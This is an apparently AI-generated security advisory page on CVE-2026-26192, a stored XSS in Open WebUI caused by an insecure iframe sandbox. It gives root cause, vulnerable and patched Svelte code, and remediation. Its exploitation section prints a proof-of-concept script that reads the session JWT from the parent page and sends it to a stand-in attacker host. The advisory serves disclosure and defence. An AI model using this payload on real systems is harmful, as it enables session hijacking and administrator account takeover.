CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-26192

CVE-2026-26192: Stored Cross-Site Scripting via Insecure Iframe Sandbox in Open WebUI

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 7, 2026·6 min read·35 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in Open WebUI (pre-0.7.0) allows low-privileged users to hijack administrator sessions via manipulated chat history citations rendered inside an insecurely sandboxed iframe.

CVE-2026-26192 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.7.0. Authenticated users can modify chat history metadata to force document citations to render inside an HTML iframe configured with an insecure sandbox policy. By combining 'allow-scripts' and 'allow-same-origin', the sandbox boundary is neutralized. This allows scripts executing within the iframe to access the parent window's DOM, extract sensitive Web UI local storage keys (such as authentication JWTs), and perform state-changing actions on behalf of other users, including administrators.

Vulnerability Overview

Open WebUI is a self-hosted, offline-capable interface designed to facilitate interactions with artificial intelligence models. To enhance response clarity, the platform supports document ingestion and displays corresponding citations. When users request details on retrieved document segments, the interface previews these segments via Svelte frontend components.

To display HTML documents correctly, the application switches its rendering block from a standard plaintext container to an HTML iframe if the document's metadata marks it as containing HTML. This choice of component was intended to isolate untrusted content, but the isolation parameters applied to the iframe were misconfigured.

The vulnerability is classified under CWE-79 as Stored Cross-Site Scripting (XSS). The vulnerability triggers when a victim views a manipulated chat sequence, such as a session published via the platform's 'Shared Chats' feature. Because Open WebUI stores JWT session tokens directly in client-side storage, exploitation of this vulnerability leads to session hijacking and administrative compromise.

Root Cause Analysis

The root cause of CVE-2026-26192 resides in an insecure sandboxing configuration in the Svelte frontend component CitationModal.svelte. When displaying HTML documents, the modal applied the sandbox attribute using three directives: allow-scripts, allow-forms, and allow-same-origin. This combination is a well-known web security anti-pattern.

The sandbox attribute restricts what actions an embedded frame can take. The allow-scripts directive permits JavaScript execution inside the iframe. The allow-same-origin directive instructs the browser to treat the iframe content as sharing the same origin (protocol, host, and port) as the hosting parent application.

When allow-scripts and allow-same-origin are combined on an iframe served from the same host, the browser-enforced origin boundary is neutralized. Because the iframe runs on the same origin, its executing JavaScript possesses read and write permissions to the parent window's DOM. An attacker can use properties like window.parent to traverse the DOM tree, access the parent's localStorage, extract active session cookies, or trigger state-changing HTTP requests on behalf of the user.

Code-Level Analysis

To understand the vulnerable control flow, we inspect src/lib/components/chat/Messages/Citations/CitationModal.svelte prior to version 0.7.0. The rendering block evaluated the document.metadata?.html condition to choose the display mechanism.

<!-- Vulnerable Code Implementation -->
{#if document.metadata?.html}
	<iframe
		class="w-full border-0 h-auto rounded-none"
		sandbox="allow-scripts allow-forms allow-same-origin"
		srcdoc={document.document}
		title={$i18n.t('Content')}
	></iframe>
{:else}
	<pre class="text-sm dark:text-gray-400 whitespace-pre-line">{document.document
			.trim()
			.replace(/\n\n+/g, '\n\n')}</pre>
{/if}

The patch implemented in version 0.7.0 (commit 6adde203cd292a9e3af9c64a2ae36b603fed096a) removes the static declaration of the allow-same-origin directive. It introduces a configurable toggle controlled by application settings, defaulting to false.

<!-- Patched Code Implementation -->
<iframe
	class="w-full border-0 h-auto rounded-none"
	sandbox="allow-scripts allow-forms{($settings?.iframeSandboxAllowSameOrigin ?? false) ? ' allow-same-origin' : ''}"
	srcdoc={document.document}
	title={$i18n.t('Content')}
></iframe>

By default, the resulting sandbox value resolves to allow-scripts allow-forms. Because allow-same-origin is omitted, the browser isolates the iframe into a unique, null origin. Any attempt by JavaScript inside the iframe to interact with window.parent or access shared state throws a browser-enforced security exception, preventing execution against the parent context.

Exploitation Methodology

The exploitation process requires two key phases: injecting the malicious payload into the application state, and enticing an authenticated user to view the affected citation. An authenticated low-privilege attacker can manually modify their own chat history. By sending a crafted payload to the chat update endpoints (e.g., /api/v1/chats/), the attacker manipulates the JSON payload to include document citations with custom metadata.

The injected citation structure contains the metadata object with "html": true, and sets the document field to contain the weaponized script. The script is structured to search the parent context for the Web UI authentication JWT.

<script>
    // Access parent context localStorage to extract authentication token
    try {
        const token = window.parent.localStorage.getItem('token');
        if (token) {
            // Exfiltrate the token to an external destination
            navigator.sendBeacon('https://attacker-controlled.com/exfil?t=' + encodeURIComponent(token));
        }
    } catch (e) {
        // Suppress errors to avoid raising suspicion
    }
</script>

Once the payload is stored, the attacker uses Open WebUI's 'Shared Chats' feature to generate a public link. When another user or an administrator opens the shared link and triggers the citation preview, the application renders the Svelte component. The browser loads the document field into the iframe's srcdoc attribute, immediately executing the JavaScript payload within the victim's session.

Impact Assessment

The impact of CVE-2026-26192 is high due to the nature of the application's authentication model. Open WebUI stores critical session data, including JWT tokens, in the client's localStorage space. Because the vulnerable iframe is treated as sharing the same origin, the executing code can access this space directly.

With a retrieved authentication token, an attacker can gain full access to the victim's account. If the victim has administrative privileges, the attacker can use the Web UI APIs to perform administrative tasks, such as creating new admin accounts, reading private documents, altering system prompts, or modifying models.

The CVSS score of 7.3 reflects the requirement of user interaction (the victim clicking or opening the citation modal). However, because sharing chats is a primary functional flow in collaborative AI platforms, the barrier to user interaction is exceptionally low. The scope remains unchanged (U) because the execution stays within the boundary of the same web origin, but the potential confidentiality and integrity compromise is complete (H/H).

Remediation and Hardening

The primary remediation path is upgrading Open WebUI to version 0.7.0 or later. This upgrade ensures that the unsafe allow-same-origin directive is removed from the default iframe sandboxing policy. If immediate upgrading is not feasible, administrators should advise users to avoid opening citation modals in shared chats from unverified or untrusted users.

For depth-of-defense hardening, organizations should implement Content Security Policy (CSP) headers at the web server layer (such as Nginx or Traefik reverse proxies). A strong CSP can limit the impact of XSS by restricting where scripts can be loaded from and where data can be exfiltrated.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self' https://safe-api.domain;

In subsequent code iterations, the development team has also integrated dynamic CSP injection via the injectCsp helper directly into the srcdoc context of the iframe. This technique limits execution profiles inside the sandboxed document even if the sandbox properties are altered. Administrators should verify that the iframeSandboxAllowSameOrigin parameter is set to false in their global settings panel.

Official Patches

open-webuiGHSA security advisory and mitigation details
open-webuiPatched component source code for version 0.7.0

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.19%
Top 91% most exploited

Affected Systems

Open WebUI prior to version 0.7.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
open-webui
open-webui
< 0.7.00.7.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS Score7.3 (High)
EPSS Score0.00194
Exploit StatusProof of Concept (PoC) available
KEV StatusNot listed on CISA KEV

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

GitHub Security AdvisoryTechnical writeup detailing stored XSS via iframe configurations inside Open WebUI citations modal.

Vulnerability Timeline

Refactoring starts in open-webui codebase
2025-12-22
GitHub Advisory GHSA-xc8p-9rr6-97r2 published
2026-02-19
CVE-2026-26192 assigned
2026-02-19
Open WebUI version 0.7.0 released with patch
2026-02-19

References & Sources

  • [1]GitHub Security Advisory GHSA-xc8p-9rr6-97r2
  • [2]Vulnerable Component File Source
  • [3]Raw Svelte Component (Before Patch)
  • [4]Raw Svelte Component (After Patch / v0.7.0)
  • [5]CVE Registry Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•42 minutes ago•GHSA-RXHG-VCWW-2MPW
8.1

GHSA-RXHG-VCWW-2MPW: SQL Injection via ORDER BY Column Injection in Fleet Activity List Endpoints

A SQL injection vulnerability exists in the activity list endpoints of Fleet Device Management. Authenticated users can manipulate the order_key parameter to sort database queries by arbitrary columns, including columns not projected in the SELECT query. This flaw allows attackers to establish an inference oracle to extract sensitive information from the database.

Amit Schendel
Amit Schendel
1 views•5 min read
•about 3 hours ago•GHSA-7MPF-4465-7FC2
2.0

GHSA-7mpf-4465-7fc2: Stored Cross-Site Scripting in Winter CMS Backend List Widget

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Backend List widget of Winter CMS (winter/wn-backend-module). When a list column is configured with the 'image' type and displays attacker-controlled input, the lack of sanitization in the image URL allows injection of arbitrary HTML attributes, potentially executing malicious scripts in the session of administrators viewing the list.

Amit Schendel
Amit Schendel
2 views•5 min read
•about 4 hours ago•GHSA-MPMW-F6H6-3G26
4.3

GHSA-mpmw-f6h6-3g26: Insecure Direct Object Reference in Winter CMS My Account Controller

An Insecure Direct Object Reference (IDOR) vulnerability was identified in Winter CMS version 1.2.13. The vulnerability exists within the newly introduced Backend\Controllers\MyAccount controller, which utilizes the FormController behavior without appropriate model query scoping or routing controls. This allows authenticated, low-privilege backend users to retrieve sensitive personal and administrative data of other backend accounts by enumerating record identifiers via standard CRUD routes.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 5 hours ago•GHSA-FM29-4MQ3-PHG6
8.1

GHSA-FM29-4MQ3-PHG6: Missing Authorization in Winter CMS ImportExportController Behavior

Winter CMS contains an authorization bypass vulnerability within its ImportExportController behavior. Due to a design flaw in the request lifecycle processing, permissions configured for data import and export operations are not validated during AJAX-based requests, allowing authenticated users with limited privileges to perform unauthorized data exfiltration or database manipulation.

Alon Barad
Alon Barad
4 views•5 min read
•about 6 hours ago•GHSA-5CWR-5JXG-PCF6
8.4

GHSA-5CWR-5JXG-PCF6: Stored Cross-Site Scripting via Improper Cache Sanitization in Winter CMS Custom Styles

Winter CMS versions prior to 1.2.14 are vulnerable to Stored Cross-Site Scripting (XSS) within the administrative backend interface. The flaw resides in the custom styles rendering pipeline for Brand Settings and Editor Settings. An attacker with privileges to modify backend branding or editor configurations can inject arbitrary JavaScript, which is written to the cache without sanitization. Subsequent page requests that result in a cache hit completely bypass output sanitization filters, leading to JavaScript execution in the sessions of other administrative users.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 7 hours ago•GHSA-P2CH-C2C3-4XM5
8.8

GHSA-P2CH-C2C3-4XM5: Cross-Site Request Forgery in Winter CMS AJAX Routing

Winter CMS contains a routing bypass vulnerability that allows Cross-Site Request Forgery (CSRF) attacks to trigger administrative AJAX handlers. Due to case-insensitivity in PHP's method resolution and an insufficiently strict check in the backend controller system, an attacker can invoke these handler methods through lowercase HTTP GET requests, bypassing default CSRF token validation.

Amit Schendel
Amit Schendel
4 views•4 min read